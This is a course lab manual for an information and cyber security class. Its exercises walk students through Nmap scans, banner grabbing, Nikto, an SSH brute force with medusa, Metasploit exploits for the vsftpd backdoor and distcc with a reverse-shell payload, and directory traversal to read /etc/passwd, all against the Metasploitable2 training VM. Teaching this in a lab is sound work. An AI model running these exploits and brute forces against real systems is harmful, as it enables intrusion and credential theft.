Lab Manual-MCA II Semester

Information and Cyber Security

1. **Experiment 1:**

   a)Basic NMAP Scan

   Objective: To perform a basic scan on the target system using NMAP.

   Steps:

   1. Open the terminal in Kali Linux.
   2. Enter the following command:

      ```
      nmap <IP Address of Metasploitable2>
      ```

Explanation: This command performs a basic scan on the target system to identify which ports are open and what services are running on those ports.

b) Detailed NMAP Scan and Analysis

Objective: Conduct a comprehensive scan on Metasploitable2 and analyze its vulnerabilities.

Steps:

1. Execute an intense scan using:

   ```
   nmap -T4 -A -v -p- 192.168.182.147 -oN detailed_scan.txt
   ```

2. Analyze detailed_scan.txt, focusing on service versions, potential vulnerabilities, and unusual open ports, type command:

   ```
   gedit detailed_scan.txt
   ```

Explanation: This scan provides a deep insight into the target system, and analyzing the result helps understand its vulnerabilities.

Expected Output:	Obtained Output
a) A list of open ports and their respective services. b) A comprehensive report of open ports, service versions, and potential vulnerabilities.	

Experiment 2:

a) NMAP Service Version Scan

Objective: To identify the version of services running on the open ports.

Steps:

1. Enter the following command in the terminal:

```
nmap -sV <IP Address of Metasploitable2>
```

Explanation: The -sV flag tells NMAP to determine the version of the service running on each open port.

b) Advanced OS Detection with NMAP

Objective: Detect OS and its uptime.

Steps:

Execute:

```
nmap -O --osscan-guess --max-os-tries 5 -p 1-1000 <IP Address of Metasploitable2>
```

Explanation: This task utilizes advanced NMAP techniques to determine the OS and its uptime.

Expected Output:	Obtained Output
a) A list of open ports along with their respective service versions. b) Guessed OS and system uptime.	

Experiment 3:

Using Metasploit to Exploit VSFTPD.

Objective: To exploit the vulnerability in the VSFTPD service.

Steps:

1. Start Metasploit using the msfconsole command.
2. Use the VSFTPD exploit by entering:
   search vsftpd
   use exploit/unix/ftp/vsftpd_234_backdoor
3. Set the RHOSTS to the IP address of Metasploitable2:
   set RHOSTS <IP Address of Metasploitable2>
   exploit
   After successful exploitation, utilize the shell to:
   Check current user: whoami
   Navigate file system: cd and ls
   Retrieve /etc/passwd: cat /etc/passwd

Explanation: This exploit takes advantage of a backdoor vulnerability in certain versions of the VSFTPD service. When exploited, it provides a command shell session to the attacker. After exploiting, interacting with the shell allows further exploration of the compromised system.

Expected Output:	Obtained Output
1. A command shell session. 2. Interactive shell session and contents of /etc/passwd.	

Experiment 4:

a) NMAP Aggressive Scan

Objective: To perform an aggressive scan on the target system.

Steps:

1. Enter the following command:

```
nmap -T4 -A <IP Address of Metasploitable2>
```

Explanation: The -A flag tells NMAP to perform an aggressive scan, which gathers more detailed information about the target system.

b) Banner Grabbing with Netcat Objective: To obtain service banners which can help identify software versions.

Steps:

1. Open the terminal in Kali Linux.
2. Use Netcat by entering.

```
nc <IP Address of Metasploitable2> <port number>
```

Explanation: Netcat is a versatile networking utility. Banner grabbing can provide hints about potential vulnerabilities of a service.

Expected Output:	Obtained Output
a) Detailed information about the target, including OS detection, version detection, script scanning, and traceroute. b) Service banner for the specified port.	

Experiment 5:

a) Identifying Vulnerabilities with Nikto

Objective:

To scan web servers and identify vulnerabilities. Steps:

1. Open the terminal in Kali Linux.
2. Execute:
   ```
   nikto -h http://<IP Address of Metasploitable2>
   ```

Explanation: Nikto is a web server scanner that detects various vulnerabilities such as potential database injection and outdated software.

b) **Hydra Brute Force Attack on SSH**

Objective:

Use Hydra to conduct a brute force attack on SSH. Steps:

1. First, create a small password list named "passwords.txt".
2. Execute:

```
medusa -u msfadmin -P passwords.txt -h 192.168.182.147 -M ssh
```

Explanation: medusa is a powerful brute force tool. In this exercise, we're attempting to brute force the **msfadmin** user's password for SSH.

Expected Output:	Obtained Output
a) A list of vulnerabilities identified by Nikto. b) The correct password for the msfadmin user or an indication that the password wasn't in the list.	

Experiment 6:

a) Exploiting DistCC with Metasploit.

Objective: To exploit the vulnerability in the DistCC service.

Steps:

1. In Metasploit, use the DistCC exploit:
   use exploit/unix/misc/distcc_exec
2. Set RHOSTS and payload:
   set RHOSTS <IP Address of Metasploitable2>
   set payload cmd/unix/reverse
3. Run the exploit:
   exploit

Explanation: The DistCC service, when misconfigured, can allow arbitrary command execution. This exploit leverages that vulnerability to provide a reverse shell to the attacker.

b) Directory Traversal Attack on Web Services

Objective:

To identify if the web service is vulnerable to directory traversal.

Steps:

1. Use a browser to request:

http:// <IP Address of Metasploitable2>/mutillidae/?page=../../../../../etc/passwd

or

curl http://192.168.182.147/../../etc/passwd

Explanation: Directory traversal aims to access files and directories stored outside the web root folder.

Expected Output:	Obtained Output
a) A command shell session. b) If it's vulnerable, you should see the content of the **/etc/passwd** file or the content of the **/etc/passwd** file or an error indicating protection against traversal.	